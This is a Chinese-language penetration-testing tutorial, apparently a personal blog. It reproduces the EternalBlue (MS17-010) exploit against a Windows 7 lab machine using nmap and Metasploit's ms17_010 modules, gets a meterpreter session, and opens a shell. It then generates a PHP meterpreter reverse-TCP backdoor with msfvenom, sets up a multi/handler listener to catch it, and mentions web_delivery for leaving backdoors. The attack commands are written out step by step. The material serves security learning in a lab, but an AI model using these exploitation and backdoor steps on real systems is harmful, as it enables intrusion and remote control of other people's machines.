渗透的第一步肯定是要进行信息收集了

那么我这这里就不多写了,这篇文章写的很全了 文章

这里补充一下c段的意思 文章

这里利用Metasploit framework来进行永恒之蓝的复现,来实现一下对这个渗透工具的认识

永恒之蓝复现

实验环境

攻击机 kali linux ,ip:172.22.81.160

靶机 :windows7 ip: 192.168.59.129

image-20230309210251701

这里下的是win7的企业版

1.这里首先第一步是得进行信息收集

先扫一下端口

在kaili上使用nmap探测win7的端口信息:nmap 192.168.59.129 ,可以看到该机器已开启445端口,当然也可以查看该445端口的banner信息,命令 nmap -sV -p445 192.168.59.129

image-20230309212745990

这里开启的445端口就是这个漏洞出现的关键了。

这里的nmap中 sV的意思

image-20230309212636248

也就是 —> 探测开放端口以确定服务/版本信息

想要查看其他的命令的话可以nmap -h

image-20230309213931076

主机名和windows版本都能成功看到了

2.使用kali自带的metasploit(msf)

如果是初次使用,先输入msfconsole进入msf,然后键入search ms17_010,查询对应的模块

第一步

第二步

image-20230309214321075

这里的话永恒之蓝漏洞就是ms17_010,所以我们search他,然后出来的命令有exploitauxiliary

exp的话是进行漏洞利用的

aux是是进行判断漏洞是否存在的(就是个辅助工具)

3.探测是否存在永恒之蓝漏洞

可以先探测一下该系统是否存在永恒之蓝漏洞,当然也可以批量扫描C段,上面有五个模块可以选择,扫描的话使用 auxiliary/scanner/smb/smb_ms17_010,因为里面包含了scanner,键入命令 use auxiliary/scanner/smb/smb_ms17_010

查询该模块需要的参数,命令 show options,可以看到主要的参数是攻击的主机RHOSTS,设置参数:set rhosts 192.168.59.129【不分大小写】,再键入show options 即可查看是否成功赋值上,如果写错了可以选择unset rhosts来取消重新选择

image-20230309215018768

这里的话是required上写的yes是必须的得添加的值

threds是线程的意思

4.使用 run 或者 exploit 命令即可成功查询,可以看到,Host is likely VULNERABLE to MS17-010!【主机可能容易受到MS17-010的攻击!】,证明可能存在永恒之蓝漏洞,下面开始利用

image-20230309215259140

5.漏洞利用

那么我们就可以进行漏洞利用了,就是使用expolit

image-20230309215405622

win7需要使用exploit/windows/smb/ms17_010_eternalblue

windows2003使用exploit/windows/smb/ms17_010_psexec

所以我直接use exploit/windows/smb/ms17_010_eternalblue

image-20230309215644933

image-20230309215658099

设置完成后,我们就可以开始run了

6.开始run

image-20230309215807989

成功了,拿到meterpreter的话就是成功拿下目标机器了

image-20230309215904446

我们可以输入?来查看其他命令,然后利用这些命令来进行命令执行。

输入shell的话就是可以拿到目标机器的cmd了

image-20230309220109374

想对目标机器干啥就直接去看?给出的指令了。

对win7输入netstat -an指令的话,就可以看到本地的64392端口被192.168.3.110:4444监听,反弹shell成功

image-20230309220254984

至此 永恒之蓝漏洞就复现成功了,那么我们对msf也有一点了解了。

nmap -sn -PE -n 172.22.81.1/24 -oX out.xml —> 这就是扫c段的

-sn 不扫描端口 -PE ICMP扫描

-n不进行dns解析 -oX 输出结果

利用Msfvenom写入后门

msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all

-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-f, --format < format> 指定输出格式

-e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64

-o, --out < path> 指定创建好的payload的存放位置

-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f''\x00'

-n, --nopsled < length> 为payload预先指定一个NOP滑动长度

-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小

-i, --iterations < count> 指定payload的编码次数

-c, --add-code < path> 指定一个附加的win32 shellcode文件

-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

-v, --var-name < value> 指定一个自定义的变量,以确定输出格式

-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为300表示禁用)

-h,--help 查看帮助选项

--platform < platform> 指定payload的目标平台

这里的话这些命令的话不用记得,多用几次命令就熟悉了

这里的话先查看一下哪些后门工具可以进行利用

msfvenom -l payload | grep 'windows' | awk '{print $1}'

grep —> 是linux中的文本匹配语句 这里就是输出有windows的payload

awk —>是文本打印工具 awk

image-20230310161327640

就会出现一堆payload,那么我们就可以从中选一个进行利用

这里我们选一个php的payload,这里的话因为是靶机的话,然后没有一些编程语言环境的话,payload到那边是执行不了的(我们在靶机上就得构建一个phpstudy来执行这个生成的后门代码)

1
msfvenom -p php/meterpreter_reverse_tcp lhost=172.29.76.20 lport=5555 -f raw >a.php

image-20230310162542496

成功生成了php的代码,那么我们就把生成的php代码复制到靶机上

这里话得在win7靶机上安装phpstudy和补丁 补丁是为了成功安装vmtools

好把a.php拖进去(拖到www目录下)

image-20230310170804761

成功托进去

在执行a.php文件之前 我们得在kali攻击机上开启监听

image-20230310171148353

使用监听模块进行监听

use exploit/multi/handler

set payload php/meterpreter_reverse_tcp

因为我们是使用php/meterpreter_reverse_tcp写的后门,那么我们监听的话还是得用它

这里的reverse_tcpreverse_http的区别是,tcp能指定任意端口,http只能指定80端口

image-20230310171433064

image-20230310171801516

image-20230310171816219

在靶机上访问a.php的时候,kali监听就拿到了meterpreter了。

上面我们使用的php是属于web的payload,那么我们也可以使用脚本payload来进行拿meterpreter

这篇文章进行了很好的补充 —-> 文章

上面是传的php代码,接下来我们来传exe文件

利用msf攻击windows 就是留下后门

这里的利用webshell的意思是当靶机存在命令执行或者远程漏洞执行漏洞时,我们可以进行利用,从而拿下靶机的控制权

这里利用的是web_delivery

image-20230310180232793

image-20230310180529065

这里使用的是php反弹shell脚本

和上面生成的a.php是一个意思

这里生成了一个php代码 然后我们复制之后拿去ping 当然是不能成功的,因为就是靶机没有php的环境变量,所以不能执行php代码